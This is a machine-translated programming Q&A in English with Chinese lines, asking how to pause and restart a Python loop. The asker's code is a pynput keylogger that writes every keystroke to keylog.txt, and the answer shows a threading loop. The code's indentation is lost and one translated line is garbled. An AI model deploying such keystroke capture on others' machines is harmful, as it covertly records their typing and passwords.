[英]How to stop loop for a while in Python?
I have this code:我有这个代码:
from pynput.keyboard import Key, Listener
import logging
import time as t
def stop():
print('Stop keylogging for a while')
def main():
logging.basicConfig(filename=('keylog.txt'), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener :
listener.join()
main()
stop()
It writes your typed letters in a file, but I want to stop it for a while do another function and again start writing typed letters它将您输入的字母写在一个文件中,但我想暂时停止它做另一个 function 并再次开始输入输入的字母
So I just need to stop this function after 1 hour:所以我只需要在 1 小时后停止这个 function :
main()
Start this function:启动这个 function:
stop()
And again start this function:再次启动这个 function:
main()
And I want it to works in a loop我希望它循环工作
Easier:更轻松:
def stop():
print('Stop')
def main():
while True:
print("Working")
while True:
# Again start main() function
main()
# Do stop() function after 10 seconds
stop()
When I start this code main() works infinitely, I want to stop it but after 10 seconds, and start stop() function, than again go to the main() function当我启动这段代码 main() 无限工作时,我想在 10 秒后停止它,然后启动 stop() function,然后再 go 到 main() ZC1C425268E68385D1AB50741C1
from threading import Thread
import time
def main():
print('Working')
def stop():
print('stopped')
while 1:
t = Thread(target=main)
t.start()
time.sleep(6)
t.join()
stop()
you can use thread for it你可以使用线程
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.